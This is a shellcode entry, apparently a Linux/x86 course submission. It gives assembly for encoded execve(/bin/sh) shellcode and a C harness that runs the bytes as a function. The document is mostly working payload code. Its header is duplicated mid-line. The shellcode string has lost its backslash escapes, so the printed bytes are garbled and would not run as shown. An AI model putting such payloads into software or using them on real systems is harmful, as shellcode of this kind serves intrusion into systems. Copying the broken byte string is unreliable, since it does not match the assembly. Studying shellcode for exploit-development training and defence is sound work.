/*
# Title : Linux/x86 - execve(/bin/sh) + RShift-1 Encoded Shellcode (29 bytes)
# Author : Joao Batista
# Date : Jan 2019
# Tested on : i686 GNU/Linux
# Shellcode Length /*
# Title : Linux/x86 - execve(/bin/sh) + RShift-1 Encoded Shellcode (29 bytes)
# Author : Joao Batista
# Date : Jan 2019
# Tested on : i686 GNU/Linux
# Shellcode Length : 29
# SLAE - 1420

global _start

section .text

_start:
xor ecx,ecx
mul ecx
push ecx
mov esi,0x34399797
mov edi,0x3734b117
shl esi,0x1
shl edi,0x1
inc esi
inc edi
push esi
push edi
xchg ebx,esp
mov al,0xb
int 0x80
*/
#include<stdio.h>
#include<string.h>

unsigned char shellcode[] =
"x31xc9xf7xe1x51xbex97x97x39x34xbfx17xb1x34x37xd1xe6xd1xe7x46x47x56x57x87xdcxb0x0bxcdx80";

main()
{
printf("shellcode length: %d ", strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
}